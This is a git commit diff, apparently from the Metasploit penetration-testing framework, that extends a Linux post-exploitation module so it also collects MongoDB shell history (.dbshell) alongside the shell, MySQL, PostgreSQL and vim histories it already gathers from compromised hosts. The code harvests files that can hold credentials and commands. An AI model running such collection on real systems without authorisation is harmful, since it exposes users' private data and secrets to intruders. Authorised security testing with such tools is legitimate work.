Add support for MongoDB history

bug/bundler_fix
Brendan Coles 2014-12-31 08:38:58 +11:00
parent d2e6f90569
commit 013e45e83d
1 changed files with 13 additions and 2 deletions

View File

@ -16,8 +16,8 @@ class Metasploit3 < Msf::Post
'Name' => 'Linux Gather User History', 'Name' => 'Linux Gather User History',
'Description' => %q{ 'Description' => %q{
This module gathers user specific information. This module gathers user specific information.
User list, shell history, mysql history, User shell history, MySQL history, PostgreSQL history,
postgresql history, vim history, lastlog and sudoers. MongoDB history, vim history, lastlog and sudoers.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
@ -49,6 +49,7 @@ class Metasploit3 < Msf::Post
end end
get_mysql_history(u) get_mysql_history(u)
get_psql_history(u) get_psql_history(u)
get_mongodb_history(u)
get_vim_history(u) get_vim_history(u)
end end
@ -118,6 +119,16 @@ class Metasploit3 < Msf::Post
save("PostgreSQL History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/ save("PostgreSQL History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end end
def get_mongodb_history(user)
vprint_status("Extracting MongoDB history for #{user}")
if user == 'root'
sql_hist = cat_file('/root/.dbshell')
else
sql_hist = cat_file("/home/#{user}/.dbshell")
end
save("MongoDB History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end
def get_vim_history(user) def get_vim_history(user)
vprint_status("Extracting VIM history for #{user}") vprint_status("Extracting VIM history for #{user}")
if user == 'root' if user == 'root'